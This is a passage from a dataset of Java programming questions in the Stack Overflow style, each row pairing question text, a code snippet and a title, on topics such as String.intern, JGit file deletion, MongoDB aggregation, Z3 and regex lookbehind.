TensorFlowInferenceInterface ( context.getAssets ( ) , MODEL_FILE ) ; } public float [ ] run ( float [ ] data ) { float [ ] res = new float [ CHUNK_SIZE / STRIDE * NUM_OUTPUT_STATES ] ; inferenceInterface.feed ( INPUT_NODE , data , INPUT_SIZE [ 0 ] , INPUT_SIZE [ 1 ] , INPUT_SIZE [ 2 ] ) ; inferenceInterface.run ( new String [ ] { OUTPUT_NODE } ) ; inferenceInterface.fetch ( OUTPUT_NODE , res ) ; return res ; } } InferenceExample inference = new InferenceExample ( context ) ; ExecutorService executor = Executors.newFixedThreadPool ( NUMBER_OF_CORES ) ; Collection < Future < ? > > futures = new LinkedList < Future < ? > > ( ) ; for ( int i = 1 ; i < = 100 ; i++ ) { Future < ? > result = executor.submit ( new Runnable ( ) { public void run ( ) { inference.call ( randomData ) ; } } ) ; futures.add ( result ) ; } for ( Future < ? > future : futures ) { try { future.get ( ) ; } catch ( ExecutionException | InterruptedException e ) { Log.e ( `` TF '' , e.getMessage ( ) ) ; } }",Running TensorFlow on multicore devices +Java,"Say I 'm creating a library which provides amongst other stuff a priority-queue class . The user instantiates one and implements a Comparator interface which is then passed gently to the priority-queue.I want to:1. grant the user the possibility to define the Comparator class easily - by implementing it as an anonymous class , just like this example suggests:2. grant the user the possibility to serialize-and-deserialize the priority queue ALONG with its attached comparator.3 . use only JDK to achieve this , no other external librariesWhat approach would be best to achieve this ? Currently I 'm having problems deserializing the Comparator class , more specifically creating an instance of it since it 's private within the class that created it ( that `` owns '' it ) and it also does not have a null-constructor ( this is not really a big problem since I can use the available constructors that it exposes ) .Thanks for any suggestions in advance .","PriorityQueue < int > pq = new PriorityQueue < int > ( ) ; pq.setComparator ( new Comparator < int > ( ) { @ Override public int compare ( int i1 , int i2 ) { if ( i1 < i2 ) return -1 ; else if ( i1 > i2 ) return 1 ; else return 0 ; } } ; ) ;",Java `` method serialization '' of anonymous class +Java,"Suppose I have the following code snippet : How can Spring match the HTTP query parameters to the right formal parameters , when the parameter name is not explicitly stated as an annotation parameter ? Does it suppose the formal parameter names are always present in bytecode ? As I understand , it does not always have to be so . The formal parameter names can be retrieved from bytecode only when : a ) the class file has been compiled with -parameters javac optionb ) the class file has been compiled with -g ( or -g : vars ) javac option , which adds debug information including the true variable names ( since the formal parameters are stored as the first local variables of method )","@ RequestMapping ( method = RequestMethod.GET ) public List < Article > getArticles ( @ RequestParam int offset , @ RequestParam int limit ) { ... }",How can Spring match query parameter only by formal parameter name ? +Java,"If you have an immutable list , you expect it to always return a reference to the same object when you ask for , sayMy question is , would you expect to be able to mutate the object and have the mutation reflected next time you get it from the list ?",list.get ( 0 ),How deep would you expect the immutability of an immutable list to be ? +Java,"I 'm unable to add redact with mongodb template below is my mongo code which is working fine and using sping mongo 1.8.5Here is my java code which is not working as above mongo code can anybody help me to find out how to run this query in java my document structure { `` _id '' : `` CAT106679778 '' , `` _class '' : `` com.ikarma.core.catalog.domain.CatalogForAdminAndMerchant '' , `` merchantId '' : `` M117442443 '' , `` catalogTypeId '' : `` catalogTypeProduct '' , `` catalogStatusId '' : `` catalogStatusDraft '' , `` items '' : [ { `` name '' : `` Jewelry '' , `` description '' : `` Jewelry '' , `` price '' : `` 1000 '' , `` itemStatusId '' : `` catalogStatusDraft '' , `` itemStatusName '' : `` Draft '' , `` unitMeasure '' : 30 , `` stock '' : NumberInt ( `` 12 '' ) , `` availableStock '' : NumberInt ( `` 12 '' ) , `` orderStock '' : NumberInt ( `` 0 '' ) , `` photos '' : [ `` https : //clappilystorage.blob.core.windows.net/clappilymerchant/M117442443/MyProduct/GiftsAnniversary GiftsJewelryJewelry/1520415128722cheers.jpg '' ] , `` activeFlag '' : `` undefined '' , `` tags '' : [ `` Jewelry '' , `` Jewelry '' ] , `` discount '' : `` 25 '' , `` advancePayment '' : `` 10 '' , `` unitName '' : `` Gm '' , `` itemId '' : NumberLong ( `` 78921671000 '' ) , `` videos '' : [ null , null , null ] , `` commissionPercentage '' : 10 , `` commissionAmount '' : 0 , `` itemIsDeleted '' : `` false '' , `` netSellingPrice '' : 750 , `` starCount '' : 0 , `` deliveryCharges '' : 0 , `` customItemCode '' : `` zdfg '' , `` taxes '' : 0 , `` perishable '' : false , `` itemsLat '' : 21 , `` itemsLong '' : 74 , `` ratingAvg '' : 0 , `` address '' : { `` type '' : `` Point '' , `` coordinates '' : [ 74 , 21 ] } } , { `` name '' : `` Jewelry '' , `` description '' : `` Jewelry '' , `` price '' : `` 1000 '' , `` itemStatusId '' : `` catalogStatusDraft '' , `` itemStatusName '' : `` Draft '' , `` unitMeasure '' : 30 , `` stock '' : NumberInt ( `` 12 '' ) , `` availableStock '' : NumberInt ( `` 12 '' ) , `` orderStock '' : NumberInt ( `` 0 '' ) , `` photos '' : [ `` https : //clappilystorage.blob.core.windows.net/clappilymerchant/M117442443/MyProduct/GiftsAnniversary GiftsJewelryJewelry/1520415128722cheers.jpg '' ] , `` activeFlag '' : `` undefined '' , `` tags '' : [ `` Jewelry '' , `` Jewelry '' ] , `` discount '' : `` 25 '' , `` advancePayment '' : `` 10 '' , `` unitName '' : `` Gm '' , `` itemId '' : NumberLong ( `` 1347268704 '' ) , `` videos '' : [ null , null , null ] , `` commissionPercentage '' : 10 , `` commissionAmount '' : 0 , `` itemIsDeleted '' : `` false '' , `` netSellingPrice '' : 750 , `` starCount '' : 0 , `` deliveryCharges '' : 0 , `` customItemCode '' : `` zdfg '' , `` taxes '' : 0 , `` perishable '' : false , `` itemsLat '' : 22 , `` itemsLong '' : 75 , `` ratingAvg '' : 0 , `` address '' : { `` type '' : `` Point '' , `` coordinates '' : [ 75 , 22 ] } } , { `` name '' : `` Jewelry '' , `` description '' : `` Jewelry '' , `` price '' : `` 1000 '' , `` itemStatusId '' : `` catalogStatusDraft '' , `` itemStatusName '' : `` Draft '' , `` unitMeasure '' : 30 , `` stock '' : NumberInt ( `` 12 '' ) , `` availableStock '' : NumberInt ( `` 12 '' ) , `` orderStock '' : NumberInt ( `` 0 '' ) , `` photos '' : [ `` https : //clappilystorage.blob.core.windows.net/clappilymerchant/M117442443/MyProduct/GiftsAnniversary GiftsJewelryJewelry/1520415128722cheers.jpg '' ] , `` activeFlag '' : `` undefined '' , `` tags '' : [ `` Jewelry '' , `` Jewelry '' ] , `` discount '' : `` 25 '' , `` advancePayment '' : `` 10 '' , `` unitName '' : `` Gm '' , `` itemId '' : NumberLong ( `` 10043410600 '' ) , `` videos '' : [ null , null , null ] , `` commissionPercentage '' : 10 , `` commissionAmount '' : 0 , `` itemIsDeleted '' : `` false '' , `` netSellingPrice '' : 750 , `` starCount '' : 0 , `` deliveryCharges '' : 0 , `` customItemCode '' : `` zdfg '' , `` taxes '' : 0 , `` perishable '' : false , `` itemsLat '' : 23 , `` itemsLong '' : 76 , `` ratingAvg '' : 0 , `` address '' : { `` type '' : `` Point '' , `` coordinates '' : [ 76 , 23 ] } } ] , `` departmentName '' : `` Gifts '' , `` categoryName '' : `` Anniversary Gifts '' , `` subCategoryName '' : `` Jewelry '' , `` serviceFlag '' : `` '' , `` updatedBy '' : [ { `` _id '' : `` M117442443 '' , `` name '' : `` Sales Team '' } ] , `` createdBy '' : [ { `` _id '' : `` M117442443 '' , `` name '' : `` Sales Team '' } ] , `` departmentId '' : `` 5948c14be4b0d3372e47423d '' , `` categoryId '' : `` 5948cc1fe4b0d3372e474287 '' , `` catalogIsDeleted '' : `` false '' , `` subCategoryId '' : `` 5948cd46e4b0d3372e474291 '' , `` createdOn '' : ISODate ( `` 2018-03-07T15:03:34.877+05:30 '' ) , `` updatedOn '' : ISODate ( `` 2018-03-08T13:09:53.373+05:30 '' ) , `` availability '' : [ { `` startTime '' : `` null '' , `` endTime '' : `` null '' } , { `` startTime '' : `` null '' , `` endTime '' : `` null '' } , { `` startTime '' : `` null '' , `` endTime '' : `` null '' } ] , `` distance '' : `` 0 '' , `` merchantStatus '' : `` Accepted '' } thank you","db.abc.aggregate ( [ { `` $ geoNear '' : { near : { `` type '' : `` Point '' , `` coordinates '' : [ 72.5 , 19.8 ] } , distanceField : `` dist.calculated '' , maxDistance : 500000 , includeLocs : `` dist.location '' , num : 5 , limit : 200 , spherical : true } } , { `` $ unwind '' : `` $ items '' } , { `` $ redact '' : { `` $ cond '' : { if : { `` $ eq '' : [ { `` $ cmp '' : [ `` $ items.address '' , `` $ dist.location '' ] } , 0 ] } , then : `` $ $ KEEP '' , else : `` $ $ PRUNE '' } } } ] ) Point point=new Point ( longi , lat ) ; NearQuery nearQuery = NearQuery.near ( point ) .maxDistance ( 1000 ) .spherical ( true ) ; Aggregation agg = Aggregation.newAggregation ( Aggregation.geoNear ( nearQuery , `` calculated '' ) , Aggregation.unwind ( `` items '' ) , Aggregation.group ( `` merchantId '' , `` _id '' , `` catalogTypeId '' , `` catalogStatusId '' , `` departmentName '' , `` categoryName '' , `` subCategoryName '' , `` serviceFlag '' , `` date '' , `` availability '' , `` distance '' , `` commissionPercentage '' , `` createdBy '' , `` updatedBy '' , `` departmentId '' , `` categoryId '' , `` subCategoryId '' , `` createdOn '' , `` updatedOn '' ) .push ( `` items '' ) .as ( `` items '' ) , Aggregation.skip ( skip ) , Aggregation.limit ( limit ) ) ;",How to use $ redact with Aggregation in Java with mongodb template +Java,"I run the code above with JDK1.8 , and I think I will get two `` falses '' as result , because in my opinion , it is obvious that s1 & str1 are located in the heap , and s2 & str2 are interned in the string pool , but I got a `` false '' and a `` true '' . The question comes : what causes the `` true '' ? Above is the primitive question.Now to identify this question is far from these called duplicated questions , I would like to talk about my new finding : the second part of the code gets a `` false '' result with JDK1.6 while a `` true '' result with JDK1.8 . Some blogs say the behaviour of intern ( ) has changed after the release of JDK1.7 . If the pool dose n't contain a string equals to this String object , this String object will not added to the pool and a reference to this String object will be added to the pool instead . It means the reference in the pool will be assigned to the string object located somewhere else ( like the heap ) , and next time the initialization of a literal string equals the early one will also be assigned to the string object. , which exactly describes the code part2 about the `` true '' result.This theory does work on my way to explain result of the code above . But it is obvious that the theory is out of what the intern ( ) doc contains , which is almost the same in JDK6/8 API.Now the question comes as : Is there any better explaination for the different results of the same code in JDK1.6 & JDK 1.8 ? Is the theory I mentioned above exactly what truly to happen ?",public static void main ( String [ ] args ) { String s1 = new String ( `` aa '' ) ; s1.intern ( ) ; String s2 = `` aa '' ; System.out.println ( s1 == s2 ) ; //wrong in JDK1.6 but true in JDK1.8 String str1 = new String ( `` str '' ) + new String ( `` 01 '' ) ; str1.intern ( ) ; String str2 = `` str01 '' ; System.out.println ( str1 == str2 ) ; },Difference in string initialization between new String ( `` X '' ) and new String ( `` X '' ) + new String ( `` Y '' ) in Java +Java,"Recently , I 've been surprised by the fact that some Java collections do n't have constant time operation of method size ( ) .While I learned that concurrent implementations of collections made some compromises as a tradeoff for gain in concurrency ( size being O ( n ) in ConcurrentLinkedQueue , ConcurrentSkipListSet , LinkedTransferQueue , etc . ) good news is that this is properly documented in API documentation.What concerned me is the performance of method size on views returned by some collections ' methods . For example , TreeSet.tailSet returns a view of the portion of backing set whose elements are greater than or equal to fromElement . What surprised me a lot is that calling size on returned SortedSet is linear in time , that is O ( n ) . At least that is what I managed to dig up from the source code of OpenJDK : In TreeSet is implemented as wrapper over TreeMap , and within a TreeMap , there is EntrySetView class whose size method is as follows : This means that first time size is called is O ( n ) and then it 's cached as long as backing map is not modified . I was not able to find this fact in the API documentation . More efficient implementation would be O ( log n ) with memory tradeoff in caching of subtree sizes . Since such tradeoffs are being made for avoiding code duplication ( TreeSet as wrapper over TreeMap ) , I do n't see a reason why they should not be made for performance reasons.Disregarding me being right or wrong with my ( very brief ) analysis of the OpenJDK implementation of TreeSet , I would like to know is there a detailed and complete documentation on performance of many such operations especially ones which are completely unexpected ?","abstract class EntrySetView extends AbstractSet < Map.Entry < K , V > > { private transient int size = -1 , sizeModCount ; public int size ( ) { if ( fromStart & & toEnd ) return m.size ( ) ; if ( size == -1 || sizeModCount ! = m.modCount ) { sizeModCount = m.modCount ; size = 0 ; Iterator i = iterator ( ) ; while ( i.hasNext ( ) ) { size++ ; i.next ( ) ; } } return size ; } ... . }",Unexpected complexity of common methods ( size ) in Java Collections Framework ? +Java,"I have a set of > 2000 numbers , gathered from measurement . I want to sample from this data set , ~10 times in each test , while preserving probability distribution overall , and in each test ( to extent approximately possible ) . For example , in each test , I want some small value , some middle class value , some big value , with the mean and variance approximately close to the original distribution . Combining all the tests , I also want the total mean and variance of all the samples , approximately close to the original distribution.As my dataset is a long-tail probability distribution , the amount of data at each quantile are not the same : Fig 1 . Density plot of ~2k elements of data.I am using Java , and right now I am using a uniform distribution , and use a random int from the dataset , and return the data element at that position : I do n't know if it works as I want , because I use data in order it is measured , which has great amount of serial correlation .","public int getRandomData ( ) { int data [ ] = { 1231,414,222,4211 , ,41,203,123,432 , ... } ; length=data.length ; Random r=new Random ( ) ; int randomInt = r.nextInt ( length ) ; return data [ randomInt ] ; }","Random sampling from a dataset , while preserving original probability distribution" +Java,"BackgroundI want pressure sensors ( they are working ) to trigger the built-in camera and take a picture when cat goes to bed , upload the pic and email me so I can go check out the real-time image on web-site.PHP ServerI have a php server running 127.0.0.1:8080 on the root of this structure : Testing on browser , save2web.php and cat-script.php are working , that is , scripts are uploading and emailing.ArduinoThe Arduino app should do the following : receive an input from a pressure sensor verify whether threshold is surpassed take picture from build-in cameraupload pic to website send mail informing about the uploadThe pressure sensor ( ) is also reading and printing , and threshold has been calibrated.But NetworkedCat.pde is NOT triggered by the serial events.Please note : Arduino Processing opens localhost at another port 80 , because php server works on 8080.If I shorten the Processing code , and test the image capture and upload only , it works . so , the bug must be related to the serial events.Why is the Processing code below not working ? EDIT : By exclusion , the bug is in this last function , but I still have n't found it : This is what is being raised : PLUS a Not a Number exception : sensorValue = map ( NaN , 1023 , 0 , height ) ; My system is Unix .","NetworkedCat -- > data -- > script-cat.php index.html NetworkedCat.pde img.jpg save2web.php swiftmailer -- > libs , etc /*Serial String readerContext : ArduinoReads in a string of characters until it gets a linefeed ( ASCII 10 ) .then converts the string into a number*/import processing.serial . * ; import processing.video . * ; import processing.net . * ; Serial myPort ; //the serial portfloat sensorValue = 0 ; //the value form the sensorfloat prevSensorValue = 0 ; //previous value from the sensorint threshold = 200 ; //above this number , the cat is on the matint currentTime = 0 ; //the current time as a single numberint lastMailTime = 0 ; //last minute you sent a mailint mailInterval = 60 ; //minimum seconds betweeen mailsString mailUrl = `` cat-script.php '' ; int lastPicture = 0 ; //last minute you sent a pictureint lastPictureTime = 0 ; //last minute you sent a pictureint pictureInterval = 10 ; //minimum seconds between picturesCapture myCam ; //camera capture library instanceString fileName = `` img.jpg '' ; //file name for the picture//location on your server for the picture script : String pictureScriptUrl = `` save2web.php '' ; String boundary = `` -- -- H4rkNrF '' ; //string boundary for the post requestClient thisClient ; //instance for the net library//float xPos = 0 ; //horizontal position of the graph//float lastXPos = 0 ; //previous horizontal position void setup ( ) { size ( 400 , 300 ) ; //list all the available serial ports println ( Serial.list ( ) ) ; myPort = new Serial ( this , Serial.list ( ) [ 7 ] , 9600 ) ; //reads bytes into a buffer until you get a newline ( ASCII 10 ) ; myPort.bufferUntil ( '\n ' ) ; //set initial background and smooth drawing : background ( # 543174 ) ; smooth ( ) ; //for a list of cameras on your computer , use this line : println ( Capture.list ( ) ) ; //use the default camera for capture at 30 fps myCam = new Capture ( this , width , height , 30 ) ; myCam.start ( ) ; } void draw ( ) { //make a single number fmor the current hour , minute , and second currentTime = hour ( ) * 3600 + minute ( ) * 60 + second ( ) ; if ( myCam.available ( ) == true ) { //draw the camera image to the screen ; myCam.read ( ) ; set ( 0 , 0 , myCam ) ; //get the time as a string String timeStamp = nf ( hour ( ) , 2 ) + `` : '' + nf ( minute ( ) , 2 ) + `` : '' + nf ( second ( ) , 2 ) + `` `` + nf ( day ( ) , 2 ) + `` - '' + nf ( month ( ) , 2 ) + `` - '' + nf ( year ( ) , 4 ) ; //draw a dropshadow for the time text : fill ( 15 ) ; text ( timeStamp , 11 , height - 19 ) ; //draw the main time next fill ( 255 ) ; text ( timeStamp , 10 , height - 20 ) ; } } void serialEvent ( Serial myPort ) { //get the ASCII string String inString = myPort.readStringUntil ( '\n ' ) ; if ( inString ! = null ) { //trim off any whitespace : inString = trim ( inString ) ; //convert to an int and map to the screen height sensorValue = float ( inString ) ; //println ( sensorValue ) ; sensorValue = map ( sensorValue , 0 , 1023 , 0 , height ) ; println ( sensorValue ) ; if ( sensorValue > threshold ) { if ( currentTime - lastPictureTime > pictureInterval ) { PImage thisFrame = get ( ) ; thisFrame.save ( fileName ) ; postPicture ( ) ; lastPictureTime = currentTime ; } //if the last reading was less than the threshold //then the cat just got on the mat if ( prevSensorValue < = threshold ) { println ( `` Cat is on the mat . `` ) ; sendMail ( ) ; } } else { //if the sensor value is less than the threshold , //and the previous value was greater , then the cat //just left the mat if ( prevSensorValue > threshold ) { println ( `` Cat is not on the mat . `` ) ; } } //save the current value for the next time prevSensorValue = sensorValue ; } } void sendMail ( ) { //how long has passed since the last mail int timeDifference = currentTime - lastMailTime ; if ( timeDifference > mailInterval ) { String [ ] mailScript = loadStrings ( mailUrl ) ; println ( `` results from mail script : '' ) ; println ( mailScript ) ; //save the current minute for next time lastMailTime = currentTime ; } } void postPicture ( ) { //load the saved image into an array of bytes byte [ ] thisFile=loadBytes ( fileName ) ; //open a new connection to the server thisClient = new Client ( this , `` localhost '' , 80 ) ; //make an HTTP POST request : thisClient.write ( `` POST `` + pictureScriptUrl + `` HTTP/1.1\n '' ) ; thisClient.write ( `` Host : localhost\n '' ) ; //tell the server you 're sending the POST in multiple parts//and send a unique string that will delineate the partsthisClient.write ( `` Content-Type : multipart/form-data ; boundary= '' ) ; thisClient.write ( boundary + `` \n '' ) ; //form the beginning of the requestString requestHead = '' -- '' + boundary + `` \n '' ; requestHead += '' Content-Disposition : form-data ; name=\ '' file\ '' ; `` ; requestHead += `` filename=\ '' '' + fileName + `` \ '' \n '' ; requestHead += '' Content-Type : image/jpeg\n\n '' ; //form the end of the requestString tail= '' \n\n -- '' + boundary + `` -- \n '' ; //calculate and send the length of the total request//including the head of the request , the file , and the tailint contentLength = requestHead.length ( ) + thisFile.length + tail.length ( ) ; thisClient.write ( `` Content-Length : `` + contentLength + `` \n\n '' ) ; //send the header of the request , the file and the tail thisClient.write ( requestHead ) ; thisClient.write ( thisFile ) ; thisClient.write ( tail ) ; } java.lang.NullPointerExceptionat java.io.BufferedOutputStream.flushBuffer ( BufferedOutputStream.java:82 ) at java.io.BufferedOutputStream.flush ( BufferedOutputStream.java:140 ) at javax.imageio.stream.FileCacheImageOutputStream.close ( FileCacheImageOutputStream.java:238 ) at com.sun.imageio.stream.StreamCloser $ CloseAction.performAction ( StreamCloser.java:130 ) at com.sun.imageio.stream.StreamCloser $ 1.run ( StreamCloser.java:74 ) at java.lang.Thread.run ( Thread.java:745 )",Arduino Processing client fails to upload file to PHP server +Java,"I am implementing an interface which throws IOException . In my implementation , I call another method which can block , and therefore throw InterruptedException.Context : I want to end the treatment if I am interrupted ; this is not a thread I created myself.My current idea is to do as such ( skeleton code ) : is that the correct way ? Or should I just throw and not .interrupt ( ) ?",@ Overridepublic void implementedMethod ( ) throws IOException { try { methodThatBlocks ( ) ; } catch ( InterruptedException ignored ) { Thread.currentThread ( ) .interrupt ( ) ; throw new IOException ( ) ; } },Should I Thread.currentThread.interrupt ( ) before I throw an exception back ? +Java,"The following code succeeds on Ubuntu 18.04 with OpenJDK 8 , but fails inside the Docker image maven:3-jdk-8-slim which is based on OpenJDK 8 : Failure details : which refers to the assertFalse ( file.canRead ( ) ) assertion . This assertion should pass because file.setReadable ( false ) returned true and thus succeeded.I reproduced the issue in a SSCCE with the Docker-based GitLab CI , so that detailed output can be found at https : //gitlab.com/krichter/docker-java-file-readability/-/jobs/203311757 . The SSCCE does not contain more information than the above code excerpt , but makes local investigation easier.I 'm looking for an explanation , not a workaround .","String userHome = System.getProperty ( `` user.home '' ) ; System.out.println ( String.format ( `` system property user.home : % s '' , userHome ) ) ; File file = new File ( userHome , `` file '' ) ; if ( ! file.createNewFile ( ) ) { throw new IOException ( `` test arrangement failed '' ) ; } if ( ! file.setReadable ( false ) ) { throw new IOException ( `` test arrangement failed '' ) ; } assertFalse ( file.canRead ( ) ) ; java.lang.AssertionError at org.junit.Assert.fail ( Assert.java:86 ) at org.junit.Assert.assertTrue ( Assert.java:41 ) at org.junit.Assert.assertFalse ( Assert.java:64 ) at org.junit.Assert.assertFalse ( Assert.java:74 ) at de.richtercloud.docker.java.file.readability.TheTest.testSomeMethod ( TheTest.java:23 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.junit.runners.model.FrameworkMethod $ 1.runReflectiveCall ( FrameworkMethod.java:50 ) at org.junit.internal.runners.model.ReflectiveCallable.run ( ReflectiveCallable.java:12 ) at org.junit.runners.model.FrameworkMethod.invokeExplosively ( FrameworkMethod.java:47 ) at org.junit.internal.runners.statements.InvokeMethod.evaluate ( InvokeMethod.java:17 ) at org.junit.runners.ParentRunner.runLeaf ( ParentRunner.java:325 ) at org.junit.runners.BlockJUnit4ClassRunner.runChild ( BlockJUnit4ClassRunner.java:78 ) at org.junit.runners.BlockJUnit4ClassRunner.runChild ( BlockJUnit4ClassRunner.java:57 ) at org.junit.runners.ParentRunner $ 3.run ( ParentRunner.java:290 ) at org.junit.runners.ParentRunner $ 1.schedule ( ParentRunner.java:71 ) at org.junit.runners.ParentRunner.runChildren ( ParentRunner.java:288 ) at org.junit.runners.ParentRunner.access $ 000 ( ParentRunner.java:58 ) at org.junit.runners.ParentRunner $ 2.evaluate ( ParentRunner.java:268 ) at org.junit.runners.ParentRunner.run ( ParentRunner.java:363 ) at org.apache.maven.surefire.junit4.JUnit4Provider.execute ( JUnit4Provider.java:252 ) at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet ( JUnit4Provider.java:141 ) at org.apache.maven.surefire.junit4.JUnit4Provider.invoke ( JUnit4Provider.java:112 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.apache.maven.surefire.util.ReflectionUtils.invokeMethodWithArray ( ReflectionUtils.java:189 ) at org.apache.maven.surefire.booter.ProviderFactory $ ProviderProxy.invoke ( ProviderFactory.java:165 ) at org.apache.maven.surefire.booter.ProviderFactory.invokeProvider ( ProviderFactory.java:85 ) at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess ( ForkedBooter.java:115 ) at org.apache.maven.surefire.booter.ForkedBooter.main ( ForkedBooter.java:75 )",java.io.File.setReadable ( false ) has no effect inside docker +Java,"The following expression compiles : How is this expression valid ? As per my opinion , the correct syntax would be",Object oa = new float [ 20 ] ; Object [ ] oa = new float [ 20 ] ;,Why is declaring an array as an object correct in Java ? +Java,"In using Java streams in a project , I attempted to re-use a stream as such.I start with a collection of objects , then do some filtering.I then want to re-use this same stream multiple times . For instance , first I want to just get the first item from the stream , as such.Then I do some other stuff , and later I want to use the filtered myStream again to perform an operation on each object in the stream.However , when I try to do this , I get this error.I can solve the issue by doing one of the following : Create a new stream from the original collection and filter it again Collect the stream into a filtered collection , then create a stream on thatSo I guess there are a few questions I have based on my findings.If you can not re-use streams , then when would it ever be useful to return an instance of a stream for later use ? Can streams be cloned so that they can be re-used without causing an IllegalStateException ?",Collection < MyClass > collection = /* form the collection */ ; Stream < MyClass > myStream = collection.stream ( ) .filter ( /* some filter */ ) ; MyClass first = myStream.findFirst ( ) .get ( ) ; myStream.forEach ( /* do stuff */ ) ; java.lang.IllegalStateException : stream has already been operated upon or closed,Re-using a stream in Java 8 +Java,"The body of new Command ( ) looks like an inline method ? What is this called , I want to fully understand this .","public void insert ( final String key , final String value ) throws Exception { execute ( new Command ( ) { public Void execute ( final Keyspace ks ) throws Exception { ks.insert ( key , createColumnPath ( COLUMN_NAME ) , bytes ( value ) ) ; return null ; } } ) ; }",Is this considered an inline anonymous method ? +Java,"I 'm cloning a git repo into a temp directory using jgit ( version 4.8.0.201706111038-r ) and adding a shutdown hook to delete the temp directory after termination . However , the shutdown hook fails to delete some files from within the .git subdirectory ( despite closing the Git object , as required by jgit ) .The funny thing though , is that the deletion fails only if I use the Path API ( Files.delete ( < PATH > ) ) , but not if I delete using the old file.delete ( ) .Here 's a minimal standalone example whose only dependency is jgit 4.8.0.201706111038-r : Output : Can anyone explain why this happens ? And is there a way to get JGIT to properly close these files so that Files.delete ( ) works ?","public static void main ( String ... args ) throws Exception { String gitRepo = `` https : //github.com/netgloo/spring-boot-samples.git '' ; Path localDir = Files.createTempDirectory ( null ) ; // Clone repo Git git = Git.cloneRepository ( ) .setURI ( gitRepo ) .setBranch ( `` master '' ) .setDirectory ( localDir.toFile ( ) ) .call ( ) ; // Print some stuff to make sure that the git repo actually works for ( RevCommit c : git.log ( ) .call ( ) ) { System.out.println ( c ) ; } git.getRepository ( ) .close ( ) ; // Close all the things ! git.close ( ) ; // Close all the things ! // Delete Files.walkFileTree ( localDir , new SimpleFileVisitor < Path > ( ) { void safeDelete ( Path p ) { try { Files.delete ( p ) ; } catch ( Exception e ) { try { Files.delete ( p ) ; } catch ( Exception e2 ) { System.err.println ( `` Failed to delete `` + p + `` due to `` + e.getClass ( ) .getSimpleName ( ) + `` using Files.detlete ( ) .\nTrying toFile ( ) .delete ( ) : `` + p.toFile ( ) .delete ( ) ) ; } } } @ Override public FileVisitResult visitFile ( Path file , BasicFileAttributes attrs ) throws IOException { safeDelete ( file ) ; return FileVisitResult.CONTINUE ; } @ Override public FileVisitResult postVisitDirectory ( Path dir , IOException e ) throws IOException { safeDelete ( dir ) ; return FileVisitResult.CONTINUE ; } } ) ; } ... Failed to delete C : \Users\malt\AppData\Local\Temp\7908805853015958247\.git\objects\pack\pack-9cc3ec0769e34546bb7683f4e22ef67b3c800444.idx due to AccessDeniedException using Files.detlete ( ) .Trying toFile ( ) .delete ( ) : trueFailed to delete C : \Users\malt\AppData\Local\Temp\7908805853015958247\.git\objects\pack\pack-9cc3ec0769e34546bb7683f4e22ef67b3c800444.pack due to AccessDeniedException using Files.detlete ( ) .Trying toFile ( ) .delete ( ) : true","Java ( JGIT ) Files.delete ( ) fails to delete a file , but file.delete ( ) succeeds" +Java,"I need your help defining a function with the Z3 Java API.I try to solve something like this ( which is working fine with the z3.exe process ) : The result of this smt-file is : The problem now is : There is no option , to define a function with the java API . In another post ( Equivalent of define-fun in Z3 API ) , i noticed to use the following statement in the java API : So i replaced ( define-fun max2 ( ( x Real ) ( y Real ) ) Real ( ite ( < = x y ) y x ) ) in my smt-file and started the z3.exe process again . The result was the following : So , as you can see , there is no satisfiable result any more . Translating this in java , will get the same result UNKNOWN.Any ideas , what i can do ?",( declare-fun a ( ) Real ) ( declare-fun b ( ) Real ) ( declare-fun c ( ) Bool ) ( define-fun max2 ( ( x Real ) ( y Real ) ) Real ( ite ( < = x y ) y x ) ) ( assert ( and ( > = a 0.0 ) ( < = a 100.0 ) ) ) ( assert ( or ( = ( max2 ( + 100.0 ( * ( - 1.0 ) a ) ) ( / 1.0 1000.0 ) ) 0.0 ) c ( not ( = b 0.0 ) ) ) ) ( check-sat-using ( then simplify bit-blast qfnra ) ) ( get-model ) sat ( model ( define-fun a ( ) Real 1.0 ) ( define-fun c ( ) Bool false ) ( define-fun b ( ) Real 1.0 ) ) ( declare-fun max2 ( Real Real ) Real ) ( assert ( forall ( ( y Real ) ( x Real ) ) ( = ( max2 y x ) ( ite ( < = x y ) y x ) ) ) ) unknown ( model ( define-fun b ( ) Real 0.0 ) ),Z3 Java API defining a function +Java,"I 'm trying to build a regex that matches exactly two occurrences of a char in a class . This is the regex I made : As you can see , it uses negatives look-aheads and behind . But , as usual the latter does not work ; java throws the well-known exception `` look-behind group does not have an obvious maximum length '' when it clearly has a maximum length ( exactly one char ) . Ideally the regex should match `` hh '' , `` jhh '' , `` ahh '' , `` hhj '' , `` hha '' but not `` hhh '' .Any ideas about how to deal with this and make a workaround ?",( ? < ! \1 ) ( [ ^raol1c ] ) \1 ( ? ! \1 ),Java regex error - Look-behind with group reference +Java,Following is the code from java.lang.System class ( JDK version 1.6 ) when we write System.out.println ( `` Something '' ) ; in our code then why do n't we get NullPointerException even when 'out ' is set to 'null'Anyhow out will be set via following setOut method in System classTheyn why JLS needs nullPrintStream method ?,public final static PrintStream out = nullPrintStream ( ) ; //out is set to 'null'private static PrintStream nullPrintStream ( ) throws NullPointerException { if ( currentTimeMillis ( ) > 0 ) { return null ; } throw new NullPointerException ( ) ; } public static void setOut ( PrintStream out ) { checkIO ( ) ; setOut0 ( out ) ; },"strange 'out ' variable , System.out.println ( )" +Java,What the above code do ? Can someone write the same operation with other code ? thnx .,i = i + j ; j = i - j ; i = i - j ;,What does the following code do ? +Java,I have the following comparator class : The Tuple class itself is generic with two type parameters : Why am I getting unchecked call warnings about the compareTo ( ) methods ?,"public class CustomTupleComparator implements Comparator < Tuple > { public int compare ( Tuple o1 , Tuple o2 ) { int result = o1.getSecond ( ) .compareTo ( o2.getSecond ( ) ) ; return result ! = 0 ? result : - o1.getFirst ( ) .compareTo ( o2.getFirst ( ) ) ; } } public class Tuple < T1 extends Comparable , T2 extends Comparable > { ... }",Java Comparator for comparing instances of a generic 